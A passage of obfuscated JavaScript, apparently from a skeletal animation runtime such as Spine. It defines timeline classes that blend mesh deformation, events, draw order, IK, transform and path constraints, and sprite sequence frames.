_0x1750b9['slots'][this['slotIndex']]; if (!_0x20aadb['bone']['active']) return; let _0x2f63bb = _0x20aadb['getAttachment'](); if (!_0x2f63bb) return; if (!(_0x2f63bb instanceof _0x3d7263) || _0x2f63bb['timelineAttachment'] != this['attachment']) return; let _0x4ff46d = _0x20aadb['deform']; 0x0 == _0x4ff46d['length'] && (_0x223b74 = 0x0); let _0x19e90e = this['vertices'], _0x38e973 = _0x19e90e[0x0]['length'], _0x2b7ff0 = this['frames']; if (_0xc913b7 < _0x2b7ff0[0x0]) { switch (_0x223b74) { case 0x0: return void (_0x4ff46d['length'] = 0x0); case 0x1: if (0x1 == _0x1a716a) return void (_0x4ff46d['length'] = 0x0); _0x4ff46d['length'] = _0x38e973; let _0x28a481 = _0x2f63bb; if (_0x28a481['bones']) { _0x1a716a = 0x1 - _0x1a716a; for (_0x3b90f7 = 0x0; _0x3b90f7 < _0x38e973; _0x3b90f7++)_0x4ff46d[_0x3b90f7] *= _0x1a716a; } else { let _0x4a0a7c = _0x28a481['vertices']; for (var _0x3b90f7 = 0x0; _0x3b90f7 < _0x38e973; _0x3b90f7++)_0x4ff46d[_0x3b90f7] += (_0x4a0a7c[_0x3b90f7] - _0x4ff46d[_0x3b90f7]) * _0x1a716a; } }return; } if (_0x4ff46d['length'] = _0x38e973, _0xc913b7 >= _0x2b7ff0[_0x2b7ff0['length'] - 0x1]) { let _0x14ca0d = _0x19e90e[_0x2b7ff0['length'] - 0x1]; if (0x1 == _0x1a716a) { if (0x3 == _0x223b74) { let _0x4158a9 = _0x2f63bb; if (_0x4158a9['bones']) { for (let _0x49b36c = 0x0; _0x49b36c < _0x38e973; _0x49b36c++)_0x4ff46d[_0x49b36c] += _0x14ca0d[_0x49b36c]; } else { let _0x226211 = _0x4158a9['vertices']; for (let _0x42fb21 = 0x0; _0x42fb21 < _0x38e973; _0x42fb21++)_0x4ff46d[_0x42fb21] += _0x14ca0d[_0x42fb21] - _0x226211[_0x42fb21]; } } else _0x5bda80['arrayCopy'](_0x14ca0d, 0x0, _0x4ff46d, 0x0, _0x38e973); } else switch (_0x223b74) { case 0x0: { let _0x247022 = _0x2f63bb; if (_0x247022['bones']) { for (let _0x266dde = 0x0; _0x266dde < _0x38e973; _0x266dde++)_0x4ff46d[_0x266dde] = _0x14ca0d[_0x266dde] * _0x1a716a; } else { let _0x355e03 = _0x247022['vertices']; for (let _0x5bdad2 = 0x0; _0x5bdad2 < _0x38e973; _0x5bdad2++) { let _0x77f208 = _0x355e03[_0x5bdad2]; _0x4ff46d[_0x5bdad2] = _0x77f208 + (_0x14ca0d[_0x5bdad2] - _0x77f208) * _0x1a716a; } } break; } case 0x1: case 0x2: for (let _0x40d6d1 = 0x0; _0x40d6d1 < _0x38e973; _0x40d6d1++)_0x4ff46d[_0x40d6d1] += (_0x14ca0d[_0x40d6d1] - _0x4ff46d[_0x40d6d1]) * _0x1a716a; break; case 0x3: let _0x119137 = _0x2f63bb; if (_0x119137['bones']) { for (let _0xdd45d0 = 0x0; _0xdd45d0 < _0x38e973; _0xdd45d0++)_0x4ff46d[_0xdd45d0] += _0x14ca0d[_0xdd45d0] * _0x1a716a; } else { let _0x156a33 = _0x119137['vertices']; for (let _0x460cab = 0x0; _0x460cab < _0x38e973; _0x460cab++)_0x4ff46d[_0x460cab] += (_0x14ca0d[_0x460cab] - _0x156a33[_0x460cab]) * _0x1a716a; } }return; } let _0x51dbc6 = _0x14ac7e['search1'](_0x2b7ff0, _0xc913b7), _0x41a846 = this['getCurvePercent'](_0xc913b7, _0x51dbc6), _0x48a086 = _0x19e90e[_0x51dbc6], _0x4b03c9 = _0x19e90e[_0x51dbc6 + 0x1]; if (0x1 == _0x1a716a) { if (0x3 == _0x223b74) { let _0x3b1f89 = _0x2f63bb; if (_0x3b1f89['bones']) for (let _0xd3261b = 0x0; _0xd3261b < _0x38e973; _0xd3261b++) { let _0x444743 = _0x48a086[_0xd3261b]; _0x4ff46d[_0xd3261b] += _0x444743 + (_0x4b03c9[_0xd3261b] - _0x444743) * _0x41a846; } else { let _0x28e5d4 = _0x3b1f89['vertices']; for (let _0x21285f = 0x0; _0x21285f < _0x38e973; _0x21285f++) { let _0x472d1c = _0x48a086[_0x21285f]; _0x4ff46d[_0x21285f] += _0x472d1c + (_0x4b03c9[_0x21285f] - _0x472d1c) * _0x41a846 - _0x28e5d4[_0x21285f]; } } } else for (let _0x30378e = 0x0; _0x30378e < _0x38e973; _0x30378e++) { let _0x19ea0d = _0x48a086[_0x30378e]; _0x4ff46d[_0x30378e] = _0x19ea0d + (_0x4b03c9[_0x30378e] - _0x19ea0d) * _0x41a846; } } else switch (_0x223b74) { case 0x0: { let _0x16183b = _0x2f63bb; if (_0x16183b['bones']) for (let _0x14ed0a = 0x0; _0x14ed0a < _0x38e973; _0x14ed0a++) { let _0x126fee = _0x48a086[_0x14ed0a]; _0x4ff46d[_0x14ed0a] = (_0x126fee + (_0x4b03c9[_0x14ed0a] - _0x126fee) * _0x41a846) * _0x1a716a; } else { let _0x54775d = _0x16183b['vertices']; for (let _0x3e3449 = 0x0; _0x3e3449 < _0x38e973; _0x3e3449++) { let _0x180369 = _0x48a086[_0x3e3449], _0x39524f = _0x54775d[_0x3e3449]; _0x4ff46d[_0x3e3449] = _0x39524f + (_0x180369 + (_0x4b03c9[_0x3e3449] - _0x180369) * _0x41a846 - _0x39524f) * _0x1a716a; } } break; } case 0x1: case 0x2: for (let _0x3b2681 = 0x0; _0x3b2681 < _0x38e973; _0x3b2681++) { let _0x4947c9 = _0x48a086[_0x3b2681]; _0x4ff46d[_0x3b2681] += (_0x4947c9 + (_0x4b03c9[_0x3b2681] - _0x4947c9) * _0x41a846 - _0x4ff46d[_0x3b2681]) * _0x1a716a; } break; case 0x3: let _0x3aead8 = _0x2f63bb; if (_0x3aead8['bones']) for (let _0x2afe50 = 0x0; _0x2afe50 < _0x38e973; _0x2afe50++) { let _0x2f4d97 = _0x48a086[_0x2afe50]; _0x4ff46d[_0x2afe50] += (_0x2f4d97 + (_0x4b03c9[_0x2afe50] - _0x2f4d97) * _0x41a846) * _0x1a716a; } else { let _0x3f277 = _0x3aead8['vertices']; for (let _0x3f6f51 = 0x0; _0x3f6f51 < _0x38e973; _0x3f6f51++) { let _0x56ec8d = _0x48a086[_0x3f6f51]; _0x4ff46d[_0x3f6f51] += (_0x56ec8d + (_0x4b03c9[_0x3f6f51] - _0x56ec8d) * _0x41a846 - _0x3f277[_0x3f6f51]) * _0x1a716a; } } } } }, _0x12fa10 = class extends _0x14ac7e { constructor(_0x554ebc) { super(_0x554ebc, _0x12fa10['propertyIds']), this['events'] = new Array(_0x554ebc); } ['getFrameCount']() { return this['frames']['length']; } ['setFrame'](_0x3f259f, _0x52a9bd) { this['frames'][_0x3f259f] = _0x52a9bd['time'], this['events'][_0x3f259f] = _0x52a9bd; } ['apply'](_0x4c6d0f, _0x38a05a, _0x229266, _0x3fab20, _0x196d7b, _0x5824c4, _0x2058bc) { if (!_0x3fab20) return; let _0x26367a = this['frames'], _0x31ed31 = this['frames']['length']; if (_0x38a05a > _0x229266) this['apply'](_0x4c6d0f, _0x38a05a, Number['MAX_VALUE'], _0x3fab20, _0x196d7b, _0x5824c4, _0x2058bc), _0x38a05a = -0x1; else { if (_0x38a05a >= _0x26367a[_0x31ed31 - 0x1]) return; } if (_0x229266 < _0x26367a[0x0]) return; let _0x30f886 = 0x0; if (_0x38a05a < _0x26367a[0x0]) _0x30f886 = 0x0; else { _0x30f886 = _0x14ac7e['search1'](_0x26367a, _0x38a05a) + 0x1; let _0x108f8b = _0x26367a[_0x30f886]; for (; _0x30f886 > 0x0 && _0x26367a[_0x30f886 - 0x1] == _0x108f8b;)_0x30f886--; } for (; _0x30f886 < _0x31ed31 && _0x229266 >= _0x26367a[_0x30f886]; _0x30f886++)_0x3fab20['push'](this['events'][_0x30f886]); } }, _0x10fcbe = _0x12fa10; _0x10fcbe['propertyIds'] = ['' + _0x57e39d]; var _0x42ca8c = class extends _0x14ac7e { constructor(_0x363f5b) { super(_0x363f5b, _0x42ca8c['propertyIds']), this['drawOrders'] = new Array(_0x363f5b); } ['getFrameCount']() { return this['frames']['length']; } ['setFrame'](_0x48d166, _0x418f5f, _0x4d27bc) { this['frames'][_0x48d166] = _0x418f5f, this['drawOrders'][_0x48d166] = _0x4d27bc; } ['apply'](_0xe850c, _0x54f617, _0x21e4c3, _0x544753, _0x59df2c, _0x346e00, _0x5e3222) { if (0x1 == _0x5e3222) return void (0x0 == _0x346e00 && _0x5bda80['arrayCopy'](_0xe850c['slots'], 0x0, _0xe850c['drawOrder'], 0x0, _0xe850c['slots']['length'])); if (_0x21e4c3 < this['frames'][0x0]) return void (0x0 != _0x346e00 && 0x1 != _0x346e00 || _0x5bda80['arrayCopy'](_0xe850c['slots'], 0x0, _0xe850c['drawOrder'], 0x0, _0xe850c['slots']['length'])); let _0x4c1b01 = _0x14ac7e['search1'](this['frames'], _0x21e4c3), _0xf25c45 = this['drawOrders'][_0x4c1b01]; if (_0xf25c45) { let _0x4d4e6e = _0xe850c['drawOrder'], _0x366886 = _0xe850c['slots']; for (let _0xd972ee = 0x0, _0x2ed23c = _0xf25c45['length']; _0xd972ee < _0x2ed23c; _0xd972ee++)_0x4d4e6e[_0xd972ee] = _0x366886[_0xf25c45[_0xd972ee]]; } else _0x5bda80['arrayCopy'](_0xe850c['slots'], 0x0, _0xe850c['drawOrder'], 0x0, _0xe850c['slots']['length']); } }, _0x19ad43 = _0x42ca8c; _0x19ad43['propertyIds'] = ['' + _0x1db221]; var _0x5cbe25 = class extends _0x1b9341 { constructor(_0x5e4bc1, _0x780af6, _0x206e63) { super(_0x5e4bc1, _0x780af6, [_0x46edc3 + '|' + _0x206e63]), this['ikConstraintIndex'] = 0x0, this['ikConstraintIndex'] = _0x206e63; } ['getFrameEntries']() { return 0x6; } ['setFrame'](_0x3805b3, _0x428b2a, _0x4de171, _0x41385f, _0x45d2c7, _0x4c583a, _0x29ed79) { _0x3805b3 *= 0x6, this['frames'][_0x3805b3] = _0x428b2a, this['frames'][_0x3805b3 + 0x1] = _0x4de171, this['frames'][_0x3805b3 + 0x2] = _0x41385f, this['frames'][_0x3805b3 + 0x3] = _0x45d2c7, this['frames'][_0x3805b3 + 0x4] = _0x4c583a ? 0x1 : 0x0, this['frames'][_0x3805b3 + 0x5] = _0x29ed79 ? 0x1 : 0x0; } ['apply'](_0x3e0b61, _0x1237f2, _0x3ae246, _0x31bfc9, _0x25e404, _0x59ca57, _0x2add65) { let _0x25da4b = _0x3e0b61['ikConstraints'][this['ikConstraintIndex']]; if (!_0x25da4b['active']) return; let _0x1c58fe = this['frames']; if (_0x3ae246 < _0x1c58fe[0x0]) { switch (_0x59ca57) { case 0x0: return _0x25da4b['mix'] = _0x25da4b['data']['mix'], _0x25da4b['softness'] = _0x25da4b['data']['softness'], _0x25da4b['bendDirection'] = _0x25da4b['data']['bendDirection'], _0x25da4b['compress'] = _0x25da4b['data']['compress'], void (_0x25da4b['stretch'] = _0x25da4b['data']['stretch']); case 0x1: _0x25da4b['mix'] += (_0x25da4b['data']['mix'] - _0x25da4b['mix']) * _0x25e404, _0x25da4b['softness'] += (_0x25da4b['data']['softness'] - _0x25da4b['softness']) * _0x25e404, _0x25da4b['bendDirection'] = _0x25da4b['data']['bendDirection'], _0x25da4b['compress'] = _0x25da4b['data']['compress'], _0x25da4b['stretch'] = _0x25da4b['data']['stretch']; }return; } let _0x95d9ee = 0x0, _0x2498be = 0x0, _0x2422d0 = _0x14ac7e['search'](_0x1c58fe, _0x3ae246, 0x6), _0x3f9a5a = this['curves'][_0x2422d0 / 0x6]; switch (_0x3f9a5a) { case 0x0: let _0x2f501d = _0x1c58fe[_0x2422d0]; _0x95d9ee = _0x1c58fe[_0x2422d0 + 0x1], _0x2498be = _0x1c58fe[_0x2422d0 + 0x2]; let _0x27bd51 = (_0x3ae246 - _0x2f501d) / (_0x1c58fe[_0x2422d0 + 0x6] - _0x2f501d); _0x95d9ee += (_0x1c58fe[_0x2422d0 + 0x6 + 0x1] - _0x95d9ee) * _0x27bd51, _0x2498be += (_0x1c58fe[_0x2422d0 + 0x6 + 0x2] - _0x2498be) * _0x27bd51; break; case 0x1: _0x95d9ee = _0x1c58fe[_0x2422d0 + 0x1], _0x2498be = _0x1c58fe[_0x2422d0 + 0x2]; break; default: _0x95d9ee = this['getBezierValue'](_0x3ae246, _0x2422d0, 0x1, _0x3f9a5a - 0x2), _0x2498be = this['getBezierValue'](_0x3ae246, _0x2422d0, 0x2, _0x3f9a5a + 0x12 - 0x2); }0x0 == _0x59ca57 ? (_0x25da4b['mix'] = _0x25da4b['data']['mix'] + (_0x95d9ee - _0x25da4b['data']['mix']) * _0x25e404, _0x25da4b['softness'] = _0x25da4b['data']['softness'] + (_0x2498be - _0x25da4b['data']['softness']) * _0x25e404, 0x1 == _0x2add65 ? (_0x25da4b['bendDirection'] = _0x25da4b['data']['bendDirection'], _0x25da4b['compress'] = _0x25da4b['data']['compress'], _0x25da4b['stretch'] = _0x25da4b['data']['stretch']) : (_0x25da4b['bendDirection'] = _0x1c58fe[_0x2422d0 + 0x3], _0x25da4b['compress'] = 0x0 != _0x1c58fe[_0x2422d0 + 0x4], _0x25da4b['stretch'] = 0x0 != _0x1c58fe[_0x2422d0 + 0x5])) : (_0x25da4b['mix'] += (_0x95d9ee - _0x25da4b['mix']) * _0x25e404, _0x25da4b['softness'] += (_0x2498be - _0x25da4b['softness']) * _0x25e404, 0x0 == _0x2add65 && (_0x25da4b['bendDirection'] = _0x1c58fe[_0x2422d0 + 0x3], _0x25da4b['compress'] = 0x0 != _0x1c58fe[_0x2422d0 + 0x4], _0x25da4b['stretch'] = 0x0 != _0x1c58fe[_0x2422d0 + 0x5])); } }, _0x47d708 = class extends _0x1b9341 { constructor(_0x4ce052, _0x15780e, _0xeddf24) { super(_0x4ce052, _0x15780e, [_0x14c8b5 + '|' + _0xeddf24]), this['transformConstraintIndex'] = 0x0, this['transformConstraintIndex'] = _0xeddf24; } ['getFrameEntries']() { return 0x7; } ['setFrame'](_0x3bdc30, _0x1b4a28, _0xd3c18b, _0x4d1c10, _0x377ba4, _0xa48640, _0x45a30c, _0x472c37) { let _0x1ea97c = this['frames']; _0x1ea97c[_0x3bdc30 *= 0x7] = _0x1b4a28, _0x1ea97c[_0x3bdc30 + 0x1] = _0xd3c18b, _0x1ea97c[_0x3bdc30 + 0x2] = _0x4d1c10, _0x1ea97c[_0x3bdc30 + 0x3] = _0x377ba4, _0x1ea97c[_0x3bdc30 + 0x4] = _0xa48640, _0x1ea97c[_0x3bdc30 + 0x5] = _0x45a30c, _0x1ea97c[_0x3bdc30 + 0x6] = _0x472c37; } ['apply'](_0x244deb, _0xe273e1, _0x583d8e, _0x22014d, _0x12f977, _0x367a3a, _0x47e2ea) { let _0x3cac3d = _0x244deb['transformConstraints'][this['transformConstraintIndex']]; if (!_0x3cac3d['active']) return; let _0x4cc9e0, _0x4f162e, _0x5b664b, _0x16ed76, _0x3e5d97, _0x17158f, _0x37bb82 = this['frames']; if (_0x583d8e < _0x37bb82[0x0]) { let _0x1de2e9 = _0x3cac3d['data']; switch (_0x367a3a) { case 0x0: return _0x3cac3d['mixRotate'] = _0x1de2e9['mixRotate'], _0x3cac3d['mixX'] = _0x1de2e9['mixX'], _0x3cac3d['mixY'] = _0x1de2e9['mixY'], _0x3cac3d['mixScaleX'] = _0x1de2e9['mixScaleX'], _0x3cac3d['mixScaleY'] = _0x1de2e9['mixScaleY'], void (_0x3cac3d['mixShearY'] = _0x1de2e9['mixShearY']); case 0x1: _0x3cac3d['mixRotate'] += (_0x1de2e9['mixRotate'] - _0x3cac3d['mixRotate']) * _0x12f977, _0x3cac3d['mixX'] += (_0x1de2e9['mixX'] - _0x3cac3d['mixX']) * _0x12f977, _0x3cac3d['mixY'] += (_0x1de2e9['mixY'] - _0x3cac3d['mixY']) * _0x12f977, _0x3cac3d['mixScaleX'] += (_0x1de2e9['mixScaleX'] - _0x3cac3d['mixScaleX']) * _0x12f977, _0x3cac3d['mixScaleY'] += (_0x1de2e9['mixScaleY'] - _0x3cac3d['mixScaleY']) * _0x12f977, _0x3cac3d['mixShearY'] += (_0x1de2e9['mixShearY'] - _0x3cac3d['mixShearY']) * _0x12f977; }return; } let _0x2bfdcd = _0x14ac7e['search'](_0x37bb82, _0x583d8e, 0x7), _0x5e6ea4 = this['curves'][_0x2bfdcd / 0x7]; switch (_0x5e6ea4) { case 0x0: let _0x52c2cd = _0x37bb82[_0x2bfdcd]; _0x4cc9e0 = _0x37bb82[_0x2bfdcd + 0x1], _0x4f162e = _0x37bb82[_0x2bfdcd + 0x2], _0x5b664b = _0x37bb82[_0x2bfdcd + 0x3], _0x16ed76 = _0x37bb82[_0x2bfdcd + 0x4], _0x3e5d97 = _0x37bb82[_0x2bfdcd + 0x5], _0x17158f = _0x37bb82[_0x2bfdcd + 0x6]; let _0x53c749 = (_0x583d8e - _0x52c2cd) / (_0x37bb82[_0x2bfdcd + 0x7] - _0x52c2cd); _0x4cc9e0 += (_0x37bb82[_0x2bfdcd + 0x7 + 0x1] - _0x4cc9e0) * _0x53c749, _0x4f162e += (_0x37bb82[_0x2bfdcd + 0x7 + 0x2] - _0x4f162e) * _0x53c749, _0x5b664b += (_0x37bb82[_0x2bfdcd + 0x7 + 0x3] - _0x5b664b) * _0x53c749, _0x16ed76 += (_0x37bb82[_0x2bfdcd + 0x7 + 0x4] - _0x16ed76) * _0x53c749, _0x3e5d97 += (_0x37bb82[_0x2bfdcd + 0x7 + 0x5] - _0x3e5d97) * _0x53c749, _0x17158f += (_0x37bb82[_0x2bfdcd + 0x7 + 0x6] - _0x17158f) * _0x53c749; break; case 0x1: _0x4cc9e0 = _0x37bb82[_0x2bfdcd + 0x1], _0x4f162e = _0x37bb82[_0x2bfdcd + 0x2], _0x5b664b = _0x37bb82[_0x2bfdcd + 0x3], _0x16ed76 = _0x37bb82[_0x2bfdcd + 0x4], _0x3e5d97 = _0x37bb82[_0x2bfdcd + 0x5], _0x17158f = _0x37bb82[_0x2bfdcd + 0x6]; break; default: _0x4cc9e0 = this['getBezierValue'](_0x583d8e, _0x2bfdcd, 0x1, _0x5e6ea4 - 0x2), _0x4f162e = this['getBezierValue'](_0x583d8e, _0x2bfdcd, 0x2, _0x5e6ea4 + 0x12 - 0x2), _0x5b664b = this['getBezierValue'](_0x583d8e, _0x2bfdcd, 0x3, _0x5e6ea4 + 0x24 - 0x2), _0x16ed76 = this['getBezierValue'](_0x583d8e, _0x2bfdcd, 0x4, _0x5e6ea4 + 0x36 - 0x2), _0x3e5d97 = this['getBezierValue'](_0x583d8e, _0x2bfdcd, 0x5, _0x5e6ea4 + 0x48 - 0x2), _0x17158f = this['getBezierValue'](_0x583d8e, _0x2bfdcd, 0x6, _0x5e6ea4 + 0x5a - 0x2); }if (0x0 == _0x367a3a) { let _0x42417f = _0x3cac3d['data']; _0x3cac3d['mixRotate'] = _0x42417f['mixRotate'] + (_0x4cc9e0 - _0x42417f['mixRotate']) * _0x12f977, _0x3cac3d['mixX'] = _0x42417f['mixX'] + (_0x4f162e - _0x42417f['mixX']) * _0x12f977, _0x3cac3d['mixY'] = _0x42417f['mixY'] + (_0x5b664b - _0x42417f['mixY']) * _0x12f977, _0x3cac3d['mixScaleX'] = _0x42417f['mixScaleX'] + (_0x16ed76 - _0x42417f['mixScaleX']) * _0x12f977, _0x3cac3d['mixScaleY'] = _0x42417f['mixScaleY'] + (_0x3e5d97 - _0x42417f['mixScaleY']) * _0x12f977, _0x3cac3d['mixShearY'] = _0x42417f['mixShearY'] + (_0x17158f - _0x42417f['mixShearY']) * _0x12f977; } else _0x3cac3d['mixRotate'] += (_0x4cc9e0 - _0x3cac3d['mixRotate']) * _0x12f977, _0x3cac3d['mixX'] += (_0x4f162e - _0x3cac3d['mixX']) * _0x12f977, _0x3cac3d['mixY'] += (_0x5b664b - _0x3cac3d['mixY']) * _0x12f977, _0x3cac3d['mixScaleX'] += (_0x16ed76 - _0x3cac3d['mixScaleX']) * _0x12f977, _0x3cac3d['mixScaleY'] += (_0x3e5d97 - _0x3cac3d['mixScaleY']) * _0x12f977, _0x3cac3d['mixShearY'] += (_0x17158f - _0x3cac3d['mixShearY']) * _0x12f977; } }, _0x2ce15c = class extends _0x3c9c6c { constructor(_0x1b3d22, _0x2e3e49, _0x26d996) { super(_0x1b3d22, _0x2e3e49, _0x9f1c47 + '|' + _0x26d996), this['pathConstraintIndex'] = 0x0, this['pathConstraintIndex'] = _0x26d996; } ['apply'](_0x5f4bca, _0x8d46fc, _0x2ee9c1, _0x5db3ba, _0x299ec5, _0x527237, _0x35f96b) { let _0x1c23db = _0x5f4bca['pathConstraints'][this['pathConstraintIndex']]; if (!_0x1c23db['active']) return; if (_0x2ee9c1 < this['frames'][0x0]) { switch (_0x527237) { case 0x0: return void (_0x1c23db['position'] = _0x1c23db['data']['position']); case 0x1: _0x1c23db['position'] += (_0x1c23db['data']['position'] - _0x1c23db['position']) * _0x299ec5; }return; } let _0x3cd56e = this['getCurveValue'](_0x2ee9c1); 0x0 == _0x527237 ? _0x1c23db['position'] = _0x1c23db['data']['position'] + (_0x3cd56e - _0x1c23db['data']['position']) * _0x299ec5 : _0x1c23db['position'] += (_0x3cd56e - _0x1c23db['position']) * _0x299ec5; } }, _0x416382 = class extends _0x3c9c6c { constructor(_0x3dafa1, _0x39221b, _0x43a032) { super(_0x3dafa1, _0x39221b, _0x21c6e6 + '|' + _0x43a032), this['pathConstraintIndex'] = 0x0, this['pathConstraintIndex'] = _0x43a032; } ['apply'](_0x4bff8a, _0x2cc477, _0x4087b5, _0x43d517, _0x381e61, _0x5b0f56, _0x2da279) { let _0x32a322 = _0x4bff8a['pathConstraints'][this['pathConstraintIndex']]; if (!_0x32a322['active']) return; if (_0x4087b5 < this['frames'][0x0]) { switch (_0x5b0f56) { case 0x0: return void (_0x32a322['spacing'] = _0x32a322['data']['spacing']); case 0x1: _0x32a322['spacing'] += (_0x32a322['data']['spacing'] - _0x32a322['spacing']) * _0x381e61; }return; } let _0xd59c9e = this['getCurveValue'](_0x4087b5); 0x0 == _0x5b0f56 ? _0x32a322['spacing'] = _0x32a322['data']['spacing'] + (_0xd59c9e - _0x32a322['data']['spacing']) * _0x381e61 : _0x32a322['spacing'] += (_0xd59c9e - _0x32a322['spacing']) * _0x381e61; } }, _0x51fe49 = class extends _0x1b9341 { constructor(_0x12025e, _0x69aaa, _0x212636) { super(_0x12025e, _0x69aaa, [_0x40c15b + '|' + _0x212636]), this['pathConstraintIndex'] = 0x0, this['pathConstraintIndex'] = _0x212636; } ['getFrameEntries']() { return 0x4; } ['setFrame'](_0xd82793, _0x456be5, _0x371e4e, _0x1b4cf4, _0x1c34ad) { let _0x2d97de = this['frames']; _0x2d97de[_0xd82793 <<= 0x2] = _0x456be5, _0x2d97de[_0xd82793 + 0x1] = _0x371e4e, _0x2d97de[_0xd82793 + 0x2] = _0x1b4cf4, _0x2d97de[_0xd82793 + 0x3] = _0x1c34ad; } ['apply'](_0x469e15, _0x3706ab, _0x25e7d7, _0x24d7de, _0x2417a2, _0x27e9bf, _0x3e717c) { let _0x23e34c = _0x469e15['pathConstraints'][this['pathConstraintIndex']]; if (!_0x23e34c['active']) return; let _0x129b8e, _0x3e3826, _0x355d6b, _0x12fb8e = this['frames']; if (_0x25e7d7 < _0x12fb8e[0x0]) { switch (_0x27e9bf) { case 0x0: return _0x23e34c['mixRotate'] = _0x23e34c['data']['mixRotate'], _0x23e34c['mixX'] = _0x23e34c['data']['mixX'], void (_0x23e34c['mixY'] = _0x23e34c['data']['mixY']); case 0x1: _0x23e34c['mixRotate'] += (_0x23e34c['data']['mixRotate'] - _0x23e34c['mixRotate']) * _0x2417a2, _0x23e34c['mixX'] += (_0x23e34c['data']['mixX'] - _0x23e34c['mixX']) * _0x2417a2, _0x23e34c['mixY'] += (_0x23e34c['data']['mixY'] - _0x23e34c['mixY']) * _0x2417a2; }return; } let _0x11b268 = _0x14ac7e['search'](_0x12fb8e, _0x25e7d7, 0x4), _0x880962 = this['curves'][_0x11b268 >> 0x2]; switch (_0x880962) { case 0x0: let _0x5489bd = _0x12fb8e[_0x11b268]; _0x129b8e = _0x12fb8e[_0x11b268 + 0x1], _0x3e3826 = _0x12fb8e[_0x11b268 + 0x2], _0x355d6b = _0x12fb8e[_0x11b268 + 0x3]; let _0x35fd4b = (_0x25e7d7 - _0x5489bd) / (_0x12fb8e[_0x11b268 + 0x4] - _0x5489bd); _0x129b8e += (_0x12fb8e[_0x11b268 + 0x4 + 0x1] - _0x129b8e) * _0x35fd4b, _0x3e3826 += (_0x12fb8e[_0x11b268 + 0x4 + 0x2] - _0x3e3826) * _0x35fd4b, _0x355d6b += (_0x12fb8e[_0x11b268 + 0x4 + 0x3] - _0x355d6b) * _0x35fd4b; break; case 0x1: _0x129b8e = _0x12fb8e[_0x11b268 + 0x1], _0x3e3826 = _0x12fb8e[_0x11b268 + 0x2], _0x355d6b = _0x12fb8e[_0x11b268 + 0x3]; break; default: _0x129b8e = this['getBezierValue'](_0x25e7d7, _0x11b268, 0x1, _0x880962 - 0x2), _0x3e3826 = this['getBezierValue'](_0x25e7d7, _0x11b268, 0x2, _0x880962 + 0x12 - 0x2), _0x355d6b = this['getBezierValue'](_0x25e7d7, _0x11b268, 0x3, _0x880962 + 0x24 - 0x2); }if (0x0 == _0x27e9bf) { let _0x250ca8 = _0x23e34c['data']; _0x23e34c['mixRotate'] = _0x250ca8['mixRotate'] + (_0x129b8e - _0x250ca8['mixRotate']) * _0x2417a2, _0x23e34c['mixX'] = _0x250ca8['mixX'] + (_0x3e3826 - _0x250ca8['mixX']) * _0x2417a2, _0x23e34c['mixY'] = _0x250ca8['mixY'] + (_0x355d6b - _0x250ca8['mixY']) * _0x2417a2; } else _0x23e34c['mixRotate'] += (_0x129b8e - _0x23e34c['mixRotate']) * _0x2417a2, _0x23e34c['mixX'] += (_0x3e3826 - _0x23e34c['mixX']) * _0x2417a2, _0x23e34c['mixY'] += (_0x355d6b - _0x23e34c['mixY']) * _0x2417a2; } }, _0x1b886c = class extends _0x14ac7e { constructor(_0x326572, _0x577fe8, _0x4d9bac) { super(_0x326572, [_0x46ae29 + '|' + _0x577fe8 + '|' + _0x4d9bac['sequence']['id']]), this['slotIndex'] = _0x577fe8, this['attachment'] = _0x4d9bac; } ['getFrameEntries']() { return _0x1b886c['ENTRIES']; } ['getSlotIndex']() { return this['slotIndex']; } ['getAttachment']() { return this['attachment']; } ['setFrame'](_0x4eb1b1, _0x496f85, _0x5450df, _0xd5a064, _0x4b54bd) { let _0x335ce9 = this['frames']; _0x335ce9[_0x4eb1b1 *= _0x1b886c['ENTRIES']] = _0x496f85, _0x335ce9[_0x4eb1b1 + _0x1b886c['MODE']] = _0x5450df | _0xd5a064 << 0x4, _0x335ce9[_0x4eb1b1 + _0x1b886c['DELAY']] = _0x4b54bd; } ['apply'](_0x3fe9fa, _0x398405, _0x29e890, _0x5d4afe, _0x3365b9, _0x13f3da, _0x590e37) { let _0x1d427a = _0x3fe9fa['slots'][this['slotIndex']]; if (!_0x1d427a['bone']['active']) return; let _0x5530c4 = _0x1d427a['attachment'], _0xf5e036 = this['attachment']; if (!(_0x5530c4 == _0xf5e036 || _0x5530c4 instanceof _0x3d7263 && _0x5530c4['timelineAttachment'] == _0xf5e036)) return; let _0x1cb2e0 = this['frames']; if (_0x29e890 < _0x1cb2e0[0x0]) return void (0x0 != _0x13f3da && 0x1 != _0x13f3da || (_0x1d427a['sequenceIndex'] = -0x1)); let _0x25ecac = _0x14ac7e['search'](_0x1cb2e0, _0x29e890, _0x1b886c['ENTRIES']), _0x3241e1 = _0x1cb2e0[_0x25ecac], _0x534bf2 = _0x1cb2e0[_0x25ecac + _0x1b886c['MODE']], _0xe6b5da = _0x1cb2e0[_0x25ecac + _0x1b886c['DELAY']]; if (!this['attachment']['sequence']) return; let _0x4fe731 = _0x534bf2 >> 0x4, _0x4fdbb7 = this['attachment']['sequence']['regions']['length'], _0x3b2492 = _0x179b03[0xf & _0x534bf2]; if (0x0 != _0x3b2492) switch (_0x4fe731 += (_0x29e890 - _0x3241e1) / _0xe6b5da + 0.00001 | 0x0, _0x3b2492) { case 0x1: _0x4fe731 = Math['min'](_0x4fdbb7 - 0x1, _0x4fe731); break; case 0x2: _0x4fe731 %= _0x4fdbb7; break; case 0x3: { let _0x3c8d2d = (_0x4fdbb7 << 0x1) - 0x2; _0x4fe731 = 0x0 == _0x3c8d2d ? 0x0 : _0x4fe731 % _0x3c8d2d, _0x4fe731 >= _0x4fdbb7 && (_0x4fe731 = _0x3c8d2d - _0x4fe731); break; } case 0x4: _0x4fe731 = Math['max'](_0x4fdbb7 - 0x1 - _0x4fe731, 0x0); break; case 0x5: _0x4fe731 = _0x4fdbb7 - 0x1 - _0x4fe731 % _0x4fdbb7; break; case 0x6: { let _0xcbe973 = (_0x4fdbb7 << 0x1) - 0x2; _0x4fe731 = 0x0 == _0xcbe973 ? 0x0 : (_0x4fe731 + _0x4fdbb7 - 0x1) % _0xcbe973, _0x4fe731 >= _0x4fdbb7 && (_0x4fe731 = _0xcbe973 - _0x4fe731); } }_0x1d427a['sequenceIndex'] = _0x4fe731; } }, _0x247f55 = _0x1b886c; _0x247f55['ENTRIES'] = 0x3, _0x247f55['MODE'] = 0x1, _0x247f55['DELAY'] = 0x2; var _0xf3d147 = class { constructor(_0x44d8fa) { this['tracks'] = new Array(), this['timeScale'] = 0x1, this['unkeyedState'] = 0x0, this['events'] = new Array(), this['listeners'] = new Array(), this['queue'] = new _0x1bc29c(this), 